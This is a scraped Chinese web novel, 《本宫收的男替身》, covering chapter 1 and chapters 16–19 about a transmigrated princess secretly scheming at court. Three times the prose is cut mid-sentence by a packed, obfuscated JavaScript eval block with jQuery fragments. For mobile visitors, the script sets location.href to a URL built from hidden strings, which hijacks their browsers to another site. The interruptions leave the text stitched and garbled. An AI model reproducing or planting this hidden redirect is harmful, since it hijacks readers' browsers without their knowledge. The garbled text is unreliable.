《本宫收的男替身》
1. 穿越十八载
《本宫收的男替身》全本免费阅读
哎……
想她国画翘楚萧沁澜，大学之时主修政治学与历史学，本乃豪门之后，却偏偏执着于笔墨之间，为那微不足道的稿费，夜以继日推敲修改，终至身心俱疲，猝然离世。
灵魂穿越千年，降临于这古代世界悠悠十八载。依照封建礼教习俗，芳华已逝，未曾出阁，已是众人眼中的“老姑娘”。
曾梦想诗酒趁年华，畅游江湖，无拘无束，却不料刚刚站稳脚跟，便遭遇如此大的变故。
哎……
萧沁澜端坐于高堂之上，珠帘轻垂，遮掩住那绝世清丽的容颜。
下方是日复一日的争吵与纷扰，她视若无睹，神游于九天之外。
心中思索待会儿席上会有何种佳肴，又该如何巧妙品尝，以免被那看似温婉的后娘借题发挥，名正言顺地加以训斥。
“明远太后，贤昭公主，昔日前朝朝政昏暗，腐败不堪。庐州之地，久旱不雨，民不聊生；永嘉之地，蝗灾肆虐，庄稼尽毁；海曲之畔，瘟疫横行，人畜涂炭，几成鬼域。然前朝朝廷对此等天灾人祸，置若罔闻，只顾自身骄奢淫逸，贪赃枉法，以致天下民怨沸腾，起义之火四燃。”
“幸有先皇太祖皇帝洞察天时地利人和，顺应民意，应者云集，收服四海，终推翻暴元，安抚百姓，承天启运，开创明昭新朝。其丰功伟绩，足以彪炳史册，永垂不朽……”
知道知道，她这个公主便是这么来的。
只是“贤昭”封号蕴含深意，既期望她贤良淑德，又警醒她昭明事理。
此中寓意，皆因她乃女子之身，在皇位传承中，本不应有所涉足。
然天下纷争，便宜父亲唯一之子、她的嫡亲兄长不幸离世，致使她不得不与后娘垂帘听政，以安天下民心。
每每听到这段万年不变的开场白，萧沁澜都深感无奈。
她望向太和殿外那昏暗的天色，心中泛起一丝疲惫，终是没能忍住，微微张口，小小地打了个哈欠。
“贤昭，谨记皇家礼仪，勿失庄重。”
“……”
骤闻太后之言，萧沁澜立即收敛心神，目光专注地直视前方，双手交叠于腹前，柔声恭敬地回应：“儿臣遵旨，母后。”
例行歌颂开国太祖皇帝之丰功伟绩后，众臣议论纷纷，焦点逐渐转向太子人选。
昔日左、右丞相之位已不复存在，中书省之权分交内阁，各派势力此消彼长。
中立派文华殿大学士位列百官之前，手持笏板，深深弯腰，遮挡其面容，声音洪亮。
“臣有本启奏，今太祖皇帝大行，龙位空虚，天下虽初定，但人心尚存惶惶。为保社稷稳固，百官安宁，国家长远之计，当从宗室中挑选皇族血脉，观其品行，以金宝册印之礼，择吉日册立为太子，承先皇之遗志，守国家疆土，肩负承天重任，护佑社稷繁荣，确保国家洪图昌盛，以安万民之期盼。”
“臣，附议！”
“老臣，附议！”
…………
殿堂之下，百官如潮水般跪倒，场面蔚为壮观。
萧沁澜闻听这每日一催促，不禁再次长叹。
封建礼制之下弊端重重，明远太后年方仅三十有五，且长年随太祖皇帝征战沙场，历经风霜，略显沧桑，意志坚定，非寻常宫闱女子可比。
自太祖皇帝驾崩，已有一年有余，任凭那些开国功臣与朝臣如何恳求或威逼，太后皆亲力亲为。
处理朝政，批阅奏折，安抚民心，解决战后重建之难题，发展农耕，奖励百官，却始终未曾提及立太子之事，其中深意，难道还不明显吗？
这群朝臣，竟仍固执己见。
可惜，自古未有女子称帝的先例，新朝初立，即便太后有此雄心，亦不能公然昭示天下，以免引发民众对新生明昭王朝的不满与疑虑。
面对这每日如是的祈求，明远太后的声音自后方悠然而至，深沉而富有威严。
“贤昭，你身为开国圣德皇后之嫡女，明昭王朝之嫡公主，身份尊贵无比。对于立太子之事，有何看法？”
此问如常，每每将她置于两难之境。
若直言接之，恐触怒太后，招致不测；若推诿不接，又恐得罪百官，引发非议。
“此事复杂，牵一发而动全身。本宫深知母后之虑，亦知众位朝臣之忧，会时时铭记于心，寻最终之道，同为国家繁荣出力。”
萧沁澜心中暗自得意，昨晚的绞尽脑汁，今日终得回报，可……
哎，明日又该怎样变换言辞，以应对各方之问呢？
众朝臣闻听这顾左右而言他之辞，自然心生不满，于是再次齐声高呼，坚决要求从宗室中挑选子弟继承皇位。
萧沁澜正准备再次搪塞，却不料太后突然出声，如雷霆般震撼人心。
“既是关乎社稷之大事，那便依众卿所奏。”
此言一出，朝堂之上顿时鸦雀无声，朝臣们呆愣片刻。
萧沁澜亦瞪大了双眼。
这是何情况？
太后平日深谋远虑，对皇位之事向来谨慎，为何今日乍然改变主意？
莫非身体被异魂所占据，换了心智？
仔细回想，近两年来，太后于皇宫之中布局周密，收买人心，自己亦未曾显露对权力的渴望。
朝堂内外，太后恐怕早已将一切牢牢掌控手心，答应朝臣请求，乃情理之中。
再者，宗室之中，与皇室血脉零星相连者众多，要从中挑选出合适的继承人，考验品行，学习治国策略，至少需要一两年，被选中的宗室子弟无力且无能发展势力。
如此看来，太后的这一决策，既顺应了朝臣意愿，又留下足够时间布局未来。
总而言之，时机已然成熟。
太后的智谋与手腕，实乃皇族佼佼者。
能够最终存活并执掌大权，绝非偶然。
呃……
皇族之中亦有如自己这般，无用之辈。
此次朝会持续之久，前所未有。
得到太后明确答复后，朝臣们将早已选定的备太子名单，由那位始终沉默、未曾下跪的中极殿大学士缓缓禀报。
待朝会结束，已至日华正中，萧沁澜方得空闲早膳。
所幸太后此次并未与她共膳。
她不顾身后眼线目光，优雅进食，大口狼吞虎咽，将桌上菜肴、点心吃了大半。
事毕，她轻抚小腹，望着那被撤下的小半菜肴，心中感叹“真乃浪费也”。
可此为嫡公主之份例，虽觉可惜，却也无权干涉。
＆
时光荏苒，转眼间已是中秋佳节，距上次朝会已有两月之隔。
文华殿主殿内，詹事府精心挑选出来的官员方才离开，备太子们便纷纷舒展身体，闲话家常。
“詹事大人今日休沐了吗？来的怎是少詹事？”
“或许是吧。詹事大人向来以严苛著称，今日定是出了要紧之事，方让少詹事前来代劳。你可知，我今日在课堂上偷偷吃了点心，居然未被责罚。”
“你这点小事算何，我瞧见那位还带了鸟儿进来，那叽叽喳喳的声音，竟也无人过问。”
“哎，你们可知我等为何会被选中前来文华殿？”
“自然知晓，不就是为了，真是……就我等资历、学识，别说与定国公家的两位公子相比，就连那位每每听课皆昏昏欲睡的贤昭公主都比不得。那皇位之重，我等实在不敢有非分之想。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12912655|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
部、刑部，乃至五军都督府的中军、前军，其中的高位者多随侍太祖皇帝多年，既有主见又掌兵权。
上直二十六会所、禁卫军中的要员也需留意。”
“他们戍守皇宫与皇城，你确定吗？”
“官职虽小，却易攻取，但需有人甘愿为替罪羔羊。”言罢，萧沁澜面露悲悯无辜，“我非好杀之人，也不负责善后。皇城之内，不属于我门下之人，不能再有。”
“司空颢不行。”陆承韫加重语气道：“润知亦然，需慎之又慎。”
“那是当然！”萧沁澜爽快应承，不加掩饰：“待你哪日登基，务必护润知一世清名。其余的我自会严加管教他，不教他行差踏错。”
“他与你自幼相伴，应该的。”
“哎，和你这等心思细腻之人交谈，实在累人，字字句句皆藏机锋。”
萧沁澜忽地起身，缓步绕至陆承韫身后，双手搭在他的其肩，身子微倾，朱唇触碰到他的侧脸，旋即分开。
寻常闺阁女子哪敢有丝毫逾越女德之嫌，简直惊世骇俗。
温热的气息落于脸颊，前所未有，陆承韫猝然惊起，连连退避数步，心神恍惚，难以置信地直直望向她。
萧沁澜但笑不语。
封建社会便是这点好处。
女子自幼受缚于三从四德，只要身体有所触碰，便足以令男子误以为女子情深意重，会不顾礼教，甘冒天下之大不韪。
陆墨凌、蔫润知，乃至超凡脱俗的司空颢，皆未能脱俗。
陆承韫此人……
萧沁澜细细审视，上下打量。
剑眉星目间英气内敛，面容端方中又不失温润，恰似古画中走出来的谦谦君子，又纯又欲，引人遐想，想要狠狠欺负，想要使那平日沉稳的面容，渐渐破碎……
乱世烽火，目睹商贾百姓的艰辛，普罗大众的生计维艰。
往昔萧沁澜或可置身事外，淡然旁观。
而今手握权势，自当挺身而出，将那封建旧制推向独立、民主、和平、统一且富强的新时代。
她掐了掐掌心，“今日造访，简而言之，我行事，你收尾，勿伤无辜，这是我行事的铁律。”
陆承韫此刻已恢复冷静，波澜不惊中暗藏风雷涌动，“你选我，只是因我看到了那桩事？”
目前来看，只能是这个原因。
来日方长。
“自然。”
“你呢？不想常居那至高位置？”
萧沁澜眉目弯弯，“我一介女子，如何驾驭得了群臣？
帝位虽尊，但责任重如泰山。
想要成为明君，就需要如太后一般勤勉勤政，夜不能寐，日理万机，辨忠奸，断是非。
稍有懈怠则民怨沸腾，朝纲不振，外患接踵。
届时历史长河，悠悠千载，谁又知会怎样评说？后世怎样论断？”
萧沁澜缓步至他身旁，自背后环住他的腰身，感受到他瞬间僵直的身躯，发自肺腑笑道：“我所作所求尤为简单，只要你守住明昭王朝的基业，勿使大权旁落奸佞之手。
我愿倾我所有，助你稳坐龙椅，让那些曾弃你而去之人对你俯首称臣，敬畏交加。对了，送你个礼物。”
话音落下，她望向窗外沉寂昏暗的天色，如同来时般悄无声息地离去。
而屋内的陆承韫展开她赠予之物……
这是……
一幅亲手绘制的……
笔墨生动，活灵活现……
简直……
彻底令他瞪大双眼，愕然震撼。
17. 记得善后
次日，日已中天，午膳的余香犹在唇齿间，文华殿七人便又聚于一处，叙说昨日趣闻。
萧亦辰手执玉骨雕扇，轻摇慢摆，语中满是深意，“贤昭常居宫廷深闺，对外界的风云变幻恐是未曾耳闻，如今此事已传遍大街小巷，成为众人茶余饭后的谈资了。”
“何事大规模传播？”萧沁澜眨动着宛如秋水般的明眸，不解问道，“世人皆知，非议皇室乃是大不敬之罪，按律当严惩不贷，怎的未见禁卫军与五城兵马司有所动作？”
“此乃民间寻常议论，且所言非虚，官府又如何能一一过问？”
“到底是何等要紧之事？”萧沁澜目光清纯无瑕，满含期待。
“哎呀，你就别卖关子了……”一旁的萧抒挤了过来，兴致勃勃道：“贤昭可知自古以来，历朝历代，天家从未向臣子屈膝。
皇室如天，天命难违，无论罪责是否属实，皆需遵从天命而行。如今明昭王朝初定，那些朝中老臣竟迫使嫡公主殿下当庭下跪，只为替一介平民学子申冤求公道。
试想，此事传扬开来，天下如何议论纷纷？”
“那些开国勋爵，莫非心中已生不悦？”萧沁澜轻蹙秀眉，言语忧虑，“我当时仅尊太祖皇帝自幼教诲的‘众生平等，天子犯法，与庶民同受律法之制’。
又见那书生远道而来，满面风尘，实在可怜可悯，故而未能自持，冲动行事。除此之外，我并无他念的啊……”
此言一出，众人神色各异。
前方座次的陆承韫自晨间初见她，只匆匆颔首示意，未有多言。
萧沁澜眼角余光瞥见他那故作端庄之态，不由生出几分玩味，原本觉得无聊的应对，此刻却变得饶有趣味。
她叹息道：“难怪母后昨日……原来背后还藏着这般深意。”
“正是！要不说明远太后手段……”萧抒话说到一半，忽觉不妥，忙改口道：“手段实乃高明！
昨日朝会之后，民间舆情汹涌，百姓们义愤填膺，未及晌午，便已聚集于那些开国勋爵的府邸之外高声喧哗，要求他们安守本分。
又言及当今皇族英明神武，治理有方，从无过失，更斥责那些官官相护之徒，应速速了断，先向太祖皇帝请罪，再赴黄泉之下。”
“……竟至于斯地步？”萧沁澜愕然道。
“我说贤昭，莫非你忘却了自己乃金枝玉叶之身吗？
身为皇家公主，一举一动皆系天下瞩目。
他们这等所为与谋逆无异。呵，纵使他们昔日或有此念头，经此一事，除却那些厚颜无耻的，其他应是生了畏惧，不敢再犯。哎……”
萧抒蹲下身来，四处张望，生怕隔墙有耳，悄声言道：“偷偷告诉你，司空大人平日里德高望重，人缘极佳，连左通政使司那些整理奏章之人都对其敬仰有加。
今日那些开国勋爵竟想要集体罢官相要挟，殊不知太后早有妙策，命人广为传播，民心更加激愤，那些老臣只得四处奔波，托人情、说好话，匆匆撤回奏章。
否则，即便太后应允，民众亦只会拍手称快，谁还会念及他们的往昔之功？”
萧沁澜压低声音，缓缓靠近，神色凝重，“事态有这么严峻？”
“岂止于此！”萧抒摇了摇头，“此事方兴未艾。
今晨我上朝之时途经那些老臣的府邸，仍然见到门外聚集着众多百姓。
依我之见，此番风波，他们若不能全身而退，也必将元气大伤，脱层皮是难免的了。”
“可这仅为风传，并无确凿证据指向那些朝中宿老？”
“确无实证，但京都之地人心如织，谁人不是心机深沉。
便是寻常百姓亦历经了两朝更迭，岂能不明其中曲折？
至少待明年三月的科举尘埃落定，那些好的坏的文武百官，都不敢轻举妄动了。”
“原来还有如此深意，我竟从未想到。”萧沁澜恍然大悟，醍醐灌顶，眼神闪亮的望着他。
“你这脑子，现今已不在这里，只顾偷懒懈怠了。”陆墨凌立于她侧，双手负后，细细查看她的面颊，“红肿已消，昨日午后那般触目惊心，想来确为太后娘娘之意。”
萧沁澜轻抚脸颊，触感光滑细腻，遂笑道：“母后政务繁忙，平日里待我自是极尽疼爱，昨日之事不过一时仓促，方留此印记。
待晚间归宫，母后特遣太医院院判前来为我敷药。司空大人果然医术高明，一夜之间便已恢复如初。”
“贤昭，你现在怎……”陆墨凌话到嘴边，却难以忍心继续。
当年行军路上，艰难险阻重重，他们几人始终并肩作战。
其中最让人钦佩的莫过于她。
尤记得她蹒跚学步不久便能耐住性子，扎了整整半日的马步，即便偶有疲惫跌倒，也能迅速爬起，坚持不懈。
太祖皇帝与故太子对她宠爱至极，视若珍宝。
随着年岁渐长，她穿梭于军营各营帐间，一袭束腰红衣，骑射技艺娴熟，小小女子非但不显娇弱，还精力充沛，时时缠着军中将领渴求武艺。
闲暇之余，无论是将领、士兵还是文官，无不感慨她身为太祖皇帝之女，实至名归。私下里常暗自羡慕，叹自己无缘拥有这样贴心的女儿。
连自己父亲也不例外。
只可惜，四年前那场战役惨烈至极，众多武将随太祖而去，留下的也多有疏远。加之宫内太后掌权，短短四年间，她便养成了唯命是从、处处逢迎的性格。
尽管依旧身着红衣，但那繁复的宫装，却早已掩去了昔日战场上的英姿飒爽。
“无事。”陆墨凌收回思绪，对她温和一笑，“近日事务繁忙，许久未为你备些小食了。听说东街新开了一家烧饼铺，明日我带来给你，与午膳的羹汤一同享用。”
“不必麻烦了。”萧沁澜眸若星辰，“润知兄长今晨已特地为我带了。”
“润知？”陆墨凌神色微敛，目光转向一旁，“他倒是细心。”
若非父亲近日屡次叮嘱自己要勤勉朝政，勿陷情爱，又怎会让蔫润知有机可乘。
陆墨凌目光深沉而炙热，紧紧锁定于她。
昔日红裙加身的她张扬不羁，犹如烈焰般，令人渴望将其纳入掌心。
而今，她温婉柔顺，宛如春日花骨朵，亦令人不由自主地心生怜爱。
性格之多变，确为世间罕见，引人注目至极。
萧沁澜对他的内心波澜毫不知情，亦无意探究那些无谓的思绪，视线落在旁侧那道略显萎靡的身形上。
她拨开周遭人影，蹲下身，侧首轻声细语对蔫润知道：“挨训了？”
“嗯……”
“忠勤伯也参与其中了？”
“嗯。”
“那侧室可有对你无礼？”
“她不敢。”
“别放在心上。”望着他失落的神情，萧沁澜眼眸微眯，“很快便会过去。你身为皇姑母独子，除却我与母后，便是皇家最为尊贵的存在。”
听毕此言，蔫润知昂首迎向微风，竭力撑开眼帘，直至眼底泛起薄雾，眸光盈盈，方满含哀怜地凝望着她，“沁澜，你娶了我吧。
这样我便能远离父亲。昨夜父亲虽未动手，却令我长跪于祠堂，无垫可依，仅余冰冷的地板为伴，彻夜难眠啊！每日赴学我都是强撑着病体故作无恙，
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924190|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实则痛楚难当。
沁澜，放在心上好不好，我马上便老了……”
他全然不顾周遭投来的异样目光，言辞曲折婉转，无所顾忌。身为堂堂男儿，行为丢人现眼。
他身后的陆墨凌眼角不由自主地抽动一瞬，终是彻底摇头叹息。
自愧弗如啊！
往昔或将蔫润知视为对手，但经年累月的深厚交往，他的心已全然转向他者。
萧沁澜在那令人窒息的注视与近乎撒娇的语调中，抽离了指尖的触碰，既不急促也不拖沓，却足以让蔫润知的眸光顿时黯淡。
幸而詹事适时前来，倒是为她免去了必要的安抚。
＆
日华炽盛，斑驳的光影穿透窗棂，洒落一地碎金，与绮丽的绣帘交相辉映。
香风拂面，女子凤眸含翠，翠翘轻颤，红唇微张，言道：“大人，时辰已至未初，日将西沉。若再贪恋温存，恐首辅大人会以懈怠政务之名，降罪于您，责您耽于逸乐呢……”
翰林院侍讲学士彭湛轻啐一声“聒噪”，随即猛然将女子娇躯按入怀中，翻身而上……
缠绵悱恻一番后，彭湛心满意足，“我的美人，近日朝野风云变幻，上头一再叮嘱我们要小心行事。待此间风波稍定，我必再来寻你。”
本来已疲惫至极的美人闻听此言，刹那间焕发神采，起身搂住彭湛的手臂，轻摇着撒娇道：“大人，您的话可要算数哦。
奴家在这青楼之中日夜辛劳，唯有大人您每次光临，方能让奴家得以片刻安宁。
像大人这般年轻有为、才貌出众，且官运亨通之人，奴家此生未曾得见。若大人能助我脱离这烟花之地，大人所愿，奴家皆……”
言罢，她手臂下滑，隔着衣物轻轻一触，媚眼如丝，声音柔媚入骨，“无有不从。”
“你这磨人的小妖精。”
彭湛终是难抵诱惑，半个时辰后，他整理好衣装，从容不迫地步出青楼后门。
小厮谨慎地环顾四周，确认无虞才向他颔首。
彭湛轻咳一声，步履稳健，昂首挺胸，背负双手，尽显官员威仪。
然而刚行至街角，却见都察院右都御史赵全林携众僚立于前方，行礼后笑盈盈道：“彭大人，先皇太祖皇帝早有明训，狎妓者，无论官阶高低，皆视为朝廷重罪，必严惩不贷，先押入天牢，再上报天家，以儆效尤。”
赵全林语毕，向后一挥手，冷声道：“拿下！”
彭湛双目圆睁，在桎梏中奋力挣扎，怒斥道：“赵大人！我分明只是途经此地，你何曾亲眼见我狎妓？我要面见太后，我要状告太师！你怎敢……”
赵全林嘴角勾起冷意，“彭大人放心，本官行事光明磊落，无太后懿旨，绝不妄动私刑。带走！”
……
与此同时，文华殿内，詹事钟意孑前来不过一个时辰，忽闻殿外响起急促地脚步声，一名小太监神色慌张地跪倒在地，连连叩首：“公主殿下，王爷，各位公子，詹事大人，太后有旨，即刻前往乾清宫议事，不得有误。”
钟意孑听罢合上手中书卷，上前温声询问：“可是有何急事？我等正授课中，稍待片刻即可结束。”
小太监颤声道：“太后娘娘有令，务必即刻前往。”
“遵旨。”钟意孑神情肃穆，应道。
几位备太子纷纷起身，跟随钟意孑匆匆离去，唯有萧沁澜依旧不紧不慢地走在最后。
陆承韫与她并肩而行，目光直视前方，低声问道：“你已知晓？”
“我素来不喜拖泥带水。”萧沁澜言简意赅，继而转身离去，临行前留下一句低语：“记得善后。”
18. 娶沁澜为妻…… “啪—……
“啪——”
乾清宫内，案几之上堆积如山的折子被太后猛然一挥，尽数倾泻于众臣脚下，满地狼藉，一片混乱。
被唤前来者足有十数人，太师、太保、定国公、都察院左右都御史、通政使司，以及久违的忠勤伯与六位备太子，见状不明所以，疑惑丛生，却皆因敬畏而缄口不言。
萧沁澜立于御案一侧，率先上前俯身，拾起其中一卷展开陈词道：“微臣有本启奏，近日风闻翰林院侍讲学士彭湛屡踏烟花之地，与风尘女子嬉戏无度，实乃大谬不然。
身居高位，本应是朝廷之栋梁，万民之楷模，明昭之颜面所系，竟明知故犯，行此悖逆之事，视朝廷法度如无物，置明昭王朝清誉于不顾。
此风不可长，微臣斗胆，恳请太后依据国法，严惩不贷。祈望太后明察秋毫，断此是非，维护朝廷之清正廉洁，匡正官场风气。
臣赵全林惶恐之至，特此上奏……”
言毕，萧沁澜再次拾起几份折子，秀眉拧起不悦，起身交于太师与太保手中，言道：“诸位御史与都御史的奏章皆围绕狎妓一事展开。狎妓行为……
严重违背了先皇太祖皇帝所制定的律法，实属朝廷所不容的重罪，除却杖责、罚款、降职乃至罢免官职的处罚外，更需在京师广而告之，以……警示世人，文武百官。”
“公主殿下以为，只是狎妓当受如此重罚吗？”定国公陆泽打断了她的叙述，神情冷然蔑视。
萧沁澜目光低垂，平和回应：“太祖皇帝所立的规矩，本宫只是在此陈述其意。至于如何裁决，还需母后与诸位大人共同商讨决定。”
话音刚落，她便不再多言，转身重归御案之旁。
“公主殿下所言皆是实情，陆大人还是请勿施加压力了。”太师庆如韩将手中奏折分予同僚，深深叹息道：“如今天下太平，边境由各位将军后人严加防守，外族不敢轻易进犯。
前朝残余势力也几乎被太祖皇帝清除殆尽。
本该是国泰民安，欢歌笑语之际，却不料一连串不光彩的事情接连发生，真是富贵让人迷失方向，忘记了往昔英勇奋战的艰难岁月。”
官员们无论在京城还是地方，时常出入风月场所，且习惯掩饰。
太祖皇帝虽已立下规矩，但因种种复杂关系，一直无人敢揭露。
近日此事突然被曝光，显然是有人决心要整顿这日益腐败的官场风气。
无论是出于私利抑或是公义，都是一件好事。
庆如韩此话，显然是对贤昭提议的赞同。
太后缓了心神，端坐于御案之后，凤冠愈发威严庄重。
“诸位爱卿无须惶恐，哀家不过是猝然闻讯，惊觉在这皇城根下，竟有人嚣张跋扈至此。朝堂之上法度森严，不过侍讲学士对萧家亦曾竭诚尽节。此事，哀家心中尚存疑虑，诸位但说无妨，勿需有所顾忌。”
虽将裁决之权赋予群臣，可太后意图昭然若揭。
萧沁澜要进退有据，收敛锋芒，却非是故作懵懂蠢笨。
她向太后欠身一礼，“母后，明昭王朝的政务历来由母后操持，且治理得有条不紊，儿臣实难企及。今日詹事大人课业尚未圆满，儿臣以为，凡事当有始有终，不知……”
“嗯，贤昭孝心可嘉，对师长尊崇备至，狎妓一事哀家自会妥善处理。待尘埃落定，让琉薇向你禀报即可，去吧，专心向学。”
“遵命，儿臣这便告退。”萧沁澜再次行礼，旋即向太师与太保微微颔首后，转身便退出了乾清宫。
庆如□□欲有所动作，却听旁侧太保方松宜陡然一声轻咳，只得无奈停下了脚步。
待萧沁澜身影消失于门扉之后，太后目光微转，“你们六个宗室子弟随詹事研习已逾年载，对于此番风波，可有良策以解困局？润知，先来谈谈你的看法。”
闻听太后点名，蔫润知即刻抱拳躬身，不容置疑道：“臣等身为皇族后裔，自当以身作则，恪守礼仪，朝廷重臣更应廉洁自律。官员私德不修，其行径有违本性，更当深究其责。
润知以为，当依据贤昭公主所述事实，遵循太祖皇帝所立之规，严惩不贷，并昭告天下，以示警戒。
这样，方能令朝野内外铭记自身使命，不忘初心，共筑明昭辉煌，向四海之内乃至异邦外族以示警告。”
此言一出，殿内众人神色纷纭。
忠勤伯蔫卓骤然听到此言，顿时怒不可遏，厉声喝道：“开国功勋自当慎重考量，岂能轻易定罪！你这一年来的君主之道，莫非都学成了这般草率鲁莽的样子？简直是罔顾忠廉，寡情薄义！”
他对这个儿子的急躁与武断深感不满。
往昔大长公主在世时，他常因“吃软饭”而遭人讥笑，而今大长公主英年早逝，却未曾带走这个与她容貌酷似的亲子，真是狠心无情。
蔫润知现在已晋封亲王，他的几个幼子却连世子的身份都不敢奢望，更不敢在外人面前夸耀家族荣光。
眼下只盼着蔫润知切勿登上那至高无上的皇位，否则自己的骨肉至亲，恐将难以保全。
太后目光疏懒地掠过他，“醇亲王之言确有其理。开国勋爵更应铭记太祖皇帝所定铁律。今有人胆敢敷衍行事，显然是视太祖皇帝于无物。疏阔狂放，朝野之患……”
殿内众臣皆噤若寒蝉，静待事态发展。
蔫润知早已对父亲的失望根深蒂固，但那份难以言喻的痛楚仍如潮水般汹涌涌来，胸口泛着密密麻麻的酸涩。
他眼底一片黯然。
沁澜……
太后叹了口气，“哀家向来秉持公正，既然润知已率先表态，你们五个畅所欲言，各抒己见。靖郡王，你先说说吧。”
靖郡王萧亦辰，身兼宗人府左宗人之职，闻言立即步出队列，“太后明鉴，此事错综复杂，实难仓促决断。或可先将涉事官员召入宫中，面圣陈情，再行定夺。”
太后道：“关乎重大？宁郡王呢？”
宁郡王萧抒同身为宗人府要员，言辞间略显含糊，似是而非。
司空颢惯来温文尔雅，却严守法度，表示不容丝毫徇私。
陆承韫只一句，“千里始足下，高山起微尘。”
“都是好孩子，墨凌呢？你素以聪慧著称，对此事又有何独到见解？”
陆墨凌颇为不屑，沉声道：“开国功臣，功勋卓著，往昔确为朝廷立下汗马功劳……”
“喔……”太后似笑非笑，“墨凌是要求情了？”
“然而！”陆墨凌话锋一转，声音铿锵有力，“正如太后所强调，律法面前，无分贵贱！该官员知法犯法，无视皇恩，辜负百姓，有负朝廷重托，更玷污了身上的官服！此等行为，罪责难逃，臣恳请太后予以严惩，以儆效尤！”
“严惩不贷吗？”太后意味深长地看向定国公，“卿家之意，哀家已明。那便由五城兵马司押解至刑部大牢，待进一步审理，处置。”
＆
晚膳时分，定国公府膳厅之内烛火摇曳。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12939043|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“最近波诡云谲，瞬息万变啊……”
陆泽捻着银筷，夹菜入口，面色忽然一沉，将银筷重重搁在桌面。
筷落如锤，击盘之声“哐当”震耳，桌上器皿霍然颤动几分。
陆墨凌与国公夫人严氏早已习惯他的性情，神色自若，餐食不辍。
唯余末位端坐的陆承韫将筷搁置在碗旁，视线凝于桌面，不能再用膳。
“太后身为女流，又非皇族血脉，近来行事愈发张扬，竟想要凌驾萧氏之上，插手皇家内政，这等行径令那些外戚怎么信服。若那些外戚有何举措，恐怕会令本已动荡不安的朝堂再添纷扰。届时墨凌登基必更为坎坷漫长。”
定国公府随太祖皇帝开疆拓土以来，用膳之时常与麾下将领谈笑风生，从无“食不言寝不语”的拘礼。
听罢此话，太祖皇帝庶妹、国公夫人严兰乐，啜了口羹汤，云淡风轻道：“彭湛狎妓，果真出自太后之手吗？”
“现在朝野上下，昔日一路起义而来的旧臣所剩寥寥，除却老夫与忠勤伯外，余者多为地方新晋之官，或是历经两朝的大儒，或是对萧氏忠心耿耿的文臣。
今日之事牵涉者可是正五品老臣，翰林院唯一的眼线，若非太后授意，何人敢不劣方头的得罪定国公府与开国功勋！”
“文华殿中那几位呢？他们动机似乎更足。”
“靖郡王与宁郡王家族凋零，父母皆逝，已难成气候。
太医院院使司空言，自太祖龙驭宾天便深居简出，只侍奉太后与贤昭公主之疾，其子司空颢性情温良，淡泊名利，与贤昭公主同出一辙，皆难成大患。
而本是最大有力竞争者的醇亲王，志不在此。今日言谈间，他对贤昭公主赞誉有加，三句不离。忠勤伯庸碌无能，烂泥扶不上墙，背后又无强援，不必过分忧虑。”
“可，若醇亲王真与贤昭公主结秦晋之好，又当怎样？”
“母亲！”陆墨凌忽地打断，将碗筷搁下，“沁澜自幼视润知为兄长，心中并无男女之情。”
“皇家联姻，素来不拘泥于情爱二字。”严兰乐继续品尝羹汤，“墨凌，你若想要稳坐江山，最便捷之路莫过于让贤昭公主成为皇后，诞下嫡子。
无论你对贤昭及其子嗣情感如何，在未将前朝后宫完全掌控之前，万不可显露丝毫嫌隙。”
“但沁澜身为嫡公主，能担皇后之名吗？”
“按史册与祖宗礼制，自是不可。今时朝堂不同史册中所记载的，你与贤昭有有表亲之谊，亲上加亲，未尝不可变通。”
“娶沁澜为妻……”陆墨凌喃喃自语，手中羹勺无意识地在碗中搅动，神色复杂，沉吟深思。
“怎得？莫非你心有不愿？”严兰乐笑意盈盈，目光柔和地望向陆墨凌。
陆墨凌只摇头感慨，“若是其他事，待我登基之后定当不惜一切代价，牢牢掌握。我曾试探过许多次，沁澜于我确实无丝毫儿女私情，始终视我为兄长，心中从无他念。
若她真有意于我，凭嫡公主的才智与人脉，扶谁登基不过是举手之劳，只需她一句话，即便是太后亦难逃众口铄金，又怎会有六个备选太子之说？怎会不助我？怎会多年沉寂，对世事漠然视之？”
末端一直静坐的陆承韫心中蓦然一颤，莫名而来的惊诧与希冀成真直直涌入他的胸口，使得他血液激昂，眉眼间不自觉变得温和柔软。
沁澜才智双全，却独独选了他……
那幅画，莫不是早已……备好……
19. 能坐上那把龙椅的，唯有…… ……
夜色已深，定国公府的正厅内，几人围坐共进晚膳。
国公夫人严兰乐慢悠悠放下手中羹匙，擦拭嘴角，语含深意，“贤昭入宫三年，性情大变，早已不复往昔的灵动与洒脱。
父母兄长皆逝，仅余继母掌家。试想，若换作寻常百姓家该怎样存活。她谨慎自守，实属情理之中。她对你无心，但女子的贞洁历来尤为珍贵。
待你登基，将后宫、前朝全部拿捏于股掌后，便可对贤昭……”她话未说完，言尽于此。
